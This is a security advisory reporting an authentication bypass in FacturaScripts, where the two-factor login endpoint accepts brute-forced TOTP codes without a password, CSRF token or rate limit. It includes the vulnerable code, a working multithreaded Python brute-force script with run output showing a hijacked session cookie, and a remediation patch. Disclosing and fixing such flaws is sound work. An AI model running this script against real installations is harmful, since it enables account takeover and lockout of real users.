Authentication bypass in FacturaScripts: "/login?action=two-factor-validation" accepts brute-forceable TOTP without password or CSRF protection Summary "Core/Controller/Login.php::twoFactorValidationAction()" accepts an unauthenticated POST containing only "fsNick" and "fsTwoFactorCode". If the TOTP value matches, the server issues a full "fsNick" + "fsLogkey" session cookie pair. The handler: 1. Does not verify the password — the user is not required to have just completed "loginAction". 2. Does not call "validateFormToken()" — no CSRF token is required (every other action handler in the same file does call it). 3. Does not call "userHasManyIncidents()" before processing — "loginAction" and "changePasswordAction" both check this guard before doing work; the 2FA handler only writes to the incident list after a failure, and the incident list is consulted by "loginAction" / "changePasswordAction" but not by the 2FA handler itself. The endpoint therefore has no rate-limiting at all. Combined with "TwoFactorManager::VERIFICATION_WINDOW = 8" (google2fa default is 1), 17 distinct six-digit codes are valid simultaneously and each remains valid for ~4 minutes. The expected number of guesses to land a valid code is «N ≈ ln(0.5) / ln(1 − 17 / 10⁶) ≈ 40 800 attempts (50% success)» On a default LAMP install a single-laptop attacker sustains ~400 RPS from one source IP — a few minutes per account. The vulnerability gives complete account takeover of any 2FA-enabled user to any unauthenticated network attacker who knows the target's nick. Admin nicks are typically public information ("admin", the company name, the person's initials). Severity CVSS 4.0 base score: 9.3 — Critical Vector: "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N" | Metric | Value | Rationale | |---|---|---| | Attack Vector (AV) | Network (N) | One HTTP POST over the public internet. | | Attack Complexity (AC) | Low (L) | No timing, configuration, or environmental conditions. | | Attack Requirements (AT) | None (N) | The vulnerable code path runs on every default install; the bug applies to every 2FA-enabled user. | | Privileges Required (PR) | None (N) | The endpoint accepts the attack unauthenticated. | | User Interaction (UI) | None (N) | No user action; the victim only has to have 2FA enabled. | | Vulnerable Confidentiality (VC) | High (H) | Full read access as the hijacked user (admin → entire database). | | Vulnerable Integrity (VI) | High (H) | Full write access as the hijacked user. | | Vulnerable Availability (VA) | Low (L) | Side effect: failed 2FA attempts accumulate in the per-user incident counter, which then blocks the legitimate user from logging in via "loginAction" for 10 minutes ("MAX_INCIDENT_COUNT = 6", "INCIDENT_EXPIRATION_TIME = 600"). Targeted account-lockout DoS against any nick. | | Subsequent (SC / SI / SA) | None | No second-system pivot from the bug itself. | Threat metrics: - Exploit Maturity (E): Attacked (A) — public PoC included below, runs out of the box. Affected component - File: "Core/Controller/Login.php" - Method: "twoFactorValidationAction()" (lines 317–328 in the repository at commit "7392b489b", master branch as of 2026-05-13). - Related: "Core/Lib/TwoFactorManager.php:30" ("VERIFICATION_WINDOW = 8"). Vulnerable code: protected function twoFactorValidationAction(Request $request): void { $userName = $request->input('fsNick'); $user = new User(); if (!$user->load($userName) || !$user->verifyTwoFactorCode($request->input('fsTwoFactorCode'))) { Tools::log()->warning('two-factor-code-invalid'); $this->saveIncident(Session::getClientIp(), $userName); return; } $this->updateUserAndRedirect($user, Session::getClientIp(), $request); } Compare with "loginAction" in the same file, which calls "validateFormToken()" (line 275) and "userHasManyIncidents()" (line 287) before doing any work. The 2FA handler does neither. Proof of concept 1. Brute force when only the victim's nick is known This requires no prior knowledge beyond the target's nick. Because the 2FA endpoint has no rate-limiting and "VERIFICATION_WINDOW=8" keeps ~17 codes valid at once, random guessing finds a valid code in seconds to minutes from a single IP. "poc_2fa_brute.py": #!/usr/bin/env python3 """ PoC: brute-force the 2FA endpoint. Required: pip install requests """ import os, sys, time, random, threading, requests BASE = os.environ.get("BASE", "http://localhost:9999") NICK = os.environ.get("NICK", "admin") THREADS = int(os.environ.get("THREADS", "32")) MAX_TRIES = int(os.environ.get("MAX_TRIES", "200000")) hit = threading.Event() attempt_count = [0] lock = threading.Lock() start = time.time() result = {} def worker(tid: int) -> None: s = requests.Session() while not hit.is_set(): with lock: n = attempt_count[0] if n >= MAX_TRIES: return attempt_count[0] += 1 code = f"{random.randint(0, 999999):06d}" try: r = s.post(f"{BASE}/login", data={"action": "two-factor-validation", "fsNick": NICK, "fsTwoFactorCode": code}, allow_redirects=False, timeout=5) except requests.RequestException: continue sc = r.headers.get("Set-Cookie", "") if r.status_code == 302 and "fsLogkey" in sc: with lock: if hit.is_set(): return hit.set() result["code"] = code result["n"] = n result["cookies"] = {c.name: c.value for c in r.cookies} return def main() -> int: print(f"[] target={BASE} nick={NICK} threads={THREADS}") threads = [threading.Thread(target=worker, args=(i,), daemon=True) for i in range(THREADS)] for t in threads: t.start() while not hit.is_set() and attempt_count[0] < MAX_TRIES: time.sleep(2) elapsed = time.time() - start print(f" [{elapsed:5.1f}s] attempts={attempt_count[0]:>7d} " f"rps={attempt_count[0]/max(elapsed,1):.0f}", flush=True) for t in threads: t.join() elapsed = time.time() - start if hit.is_set(): print(f"\n[+] FOUND code={result['code']} after {result['n']:,} " f"attempts in {elapsed:.1f}s") cookie_hdr = "; ".join(f"{k}={v}" for k, v in result["cookies"].items()) print(f"[+] Cookies: {cookie_hdr}") print(f"\n curl --cookie '{cookie_hdr}' {BASE}/ListUser") return 0 print(f"[-] {attempt_count[0]:,} attempts in {elapsed:.1f}s, no hit") return 1 if name == "main": sys.exit(main()) Observed result against the same install (victim user has 2FA enabled, attacker knows only the nick "victim"): [] target=http://localhost:9999 nick=victim threads=32 [ 2.2s] attempts= 1094 rps= 493 [ 24.4s] attempts= 11535 rps= 473 [ 50.0s] attempts= 23420 rps= 468 [100.7s] attempts= 41247 rps= 410 [144.9s] attempts= 55418 rps= 383 [+] FOUND code=055473 after 55,773 attempts in 146.0s [+] Cookies: fsNick=victim; fsLogkey=47qZDmjcHaS2z2pLsqKWsKbb8vlGfZaYEiUUfcvWHlDXSZlI9LFg8ux7EYX1fzTkeNSgM5ASQ7s5ohr8ROAclvlK1GCxACia21N; fsLang=en_EN A second run terminated in 24.6 s after 11 569 attempts. Both runs used a single source IP with no proxy rotation, no HTTP/2, no parallel hosts. Impact For each 2FA-enabled user (including admins): - Confidentiality: full read access to anything the victim can see — invoices, customer data, suppliers, accounting ledgers, attached files, user PII, API keys, plugin configuration. - Integrity: full write access — create/modify/delete records, change permissions, issue new API keys, upload plugins, install code (admin). - Availability: targeted account lockout DoS — generating six failed 2FA attempts (≪ 1 s of brute-force noise) pushes the per-user incident counter past "MAX_INCIDENT_COUNT = 6", blocking the legitimate user from "loginAction" for 10 minutes. Repeatable indefinitely. The vulnerability defeats the entire purpose of 2FA in FacturaScripts: enabling 2FA on an account today is strictly weaker than not enabling it, because it adds an unauthenticated, brute-forceable login path that wasn't present before. Remediation Four independent fixes are required; each closes a distinct gap and any one alone is insufficient. 1. Require evidence the user just completed the password step. In "loginAction", after "verifyPassword" succeeds and 2FA is required, write a short-lived nonce keyed by "(client_ip, user_nick)" to the shared cache (e.g. "Cache::set("2fa-pending-{ip}-{nick}", $nonce, ttl=300)"). "twoFactorValidationAction" must read, validate, and delete that nonce before calling "verifyTwoFactorCode". Without the nonce, return immediately. 2. Call "validateFormToken($request)" at the top of "twoFactorValidationAction". Every other action handler in the controller does this; the 2FA handler should too. Eliminates drive-by CSRF submissions. 3. Call "userHasManyIncidents(Session::getClientIp(), $userName)" before doing any work in "twoFactorValidationAction", and bail out if the threshold is exceeded. This is the missing rate-limit pre-check. 4. Reduce "TwoFactorManager::VERIFICATION_WINDOW" from 8 to 1. The google2fa default is 1 (±30 s). A window of 8 multiplies the brute-force success rate by 17× for no legitimate reason — TOTP apps and the server clock are typically synchronised within a single 30-second step. Suggested patch (illustrative): // Core/Controller/Login.php protected function twoFactorValidationAction(Request $request): void { if (false === $this->validateFormToken($request)) { // fix 2 return; } $userName = $request->input('fsNick'); if ($this->userHasManyIncidents(Session::getClientIp(), $userName)) { // fix 3 Tools::log()->warning('ip-banned'); return; } $nonceKey = '2fa-pending-' . Session::getClientIp() . '-' . $userName; if (false === Cache::get($nonceKey)) { // fix 1 Tools::log()->warning('two-factor-no-pending-login'); $this->saveIncident(Session::getClientIp(), $userName); return; } Cache::delete($nonceKey); $user = new User(); if (!$user->load($userName) || !$user->verifyTwoFactorCode($request->input('fsTwoFactorCode'))) { Tools::log()->warning('two-factor-code-invalid'); $this->saveIncident(Session::getClientIp(), $userName); return; } $this->updateUserAndRedirect($user, Session::getClientIp(), $request); } // Core/Lib/TwoFactorManager.php private const VERIFICATION_WINDOW = 1; // fix 4 — was 8 "loginAction" then needs the matching nonce write where it currently sets "$this->two_factor_user": if ($user->two_factor_enabled) { Cache::set('2fa-pending-' . Session::getClientIp() . '-' . $user->nick, bin2hex(random_bytes(16)), 300); $this->two_factor_user = $user->nick; $this->template = 'Login/TwoFactor.html.twig'; return; } Reproduction Tested on a clean install built from "master" at commit "7392b489b": brute force (only nick known) — secret on the server can be anything NICK=victim THREADS=32 .venv/bin/python poc_2fa_brute.py